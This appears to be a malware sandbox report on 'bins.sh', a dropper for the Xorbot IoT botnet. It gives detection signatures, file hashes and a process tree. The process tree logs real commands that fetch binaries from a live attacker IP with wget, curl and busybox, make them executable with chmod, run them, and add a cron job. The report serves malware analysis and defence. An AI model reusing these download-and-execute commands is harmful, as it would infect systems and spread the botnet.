Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    20s
  • max time network
    28s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    08/01/2025, 04:27

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250108-e234wswnfr
  • SHA256 b8dddc5a936401d0b005f3d42cd5bfa6fb72312793aca66d111d465d79411ede
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:648
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:650
        • /usr/bin/wget
          wget http://66.63.187.225/bins/NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
          2⤵
          • Writes file to tmp directory
          PID:655
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:754
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
          2⤵
          • Writes file to tmp directory
          PID:755
        • /bin/chmod
          chmod 777 NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
          2⤵
          • File and Directory Permissions Modification
          PID:756
        • /tmp/NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
          ./NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
          2⤵
          • Executes dropped EXE
          PID:757
        • /bin/rm
          rm NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
          2⤵
            PID:759
          • /usr/bin/wget
            wget http://66.63.187.225/bins/dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
            2⤵
            • Writes file to tmp directory
            PID:760
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:761
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
            2⤵
            • Writes file to tmp directory
            PID:762
          • /bin/chmod
            chmod 777 dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
            2⤵
            • File and Directory Permissions Modification
            PID:763
          • /tmp/dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
            ./dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
            2⤵
            • Executes dropped EXE
            PID:764
          • /bin/rm
            rm dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
            2⤵
              PID:766
            • /usr/bin/wget
              wget http://66.63.187.225/bins/UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
              2⤵
              • Writes file to tmp directory
              PID:767
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:768
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
              2⤵
              • Writes file to tmp directory
              PID:771
            • /bin/chmod
              chmod 777 UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
              2⤵
              • File and Directory Permissions Modification
              PID:772
            • /tmp/UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
              ./UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:773
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:775
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                    • Reads runtime system information
                    PID:776
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:777
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      • Reads runtime system information
                      PID:778
                • /bin/rm
                  rm UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
                  2⤵
                    PID:780
                  • /usr/bin/wget
                    wget http://66.63.187.225/bins/ObkIFJia6qnbm9meGoW6krCmZtc9u7MUu0
                    2⤵
                      PID:783

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
                        • Path /tmp/NsgxXh9DbD8mMBT8msrGjGyunHYKpWmwzu
                        • Size 107KB
                        • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
                        • Path /tmp/UL6kjXioCrVM1j82L5xJ6gkVgTzrZr6XLf
                        • Size 141KB
                        • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
                        • Path /tmp/dC39gGXVNiEvUZlRKP6KscqTx1mF8Avhx1
                        • Size 98KB
                        • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        tmp.BIFlRm
                        • Path /var/spool/cron/crontabs/tmp.BIFlRm
                        • Size 210B
                        • SHA256 96a6421cf6269e8e63ff9267053b3b264d007c63c9a03bb8c2b9b6ecbfd2942b
                        • MD5 SHA1 SHA512
                        Submit Download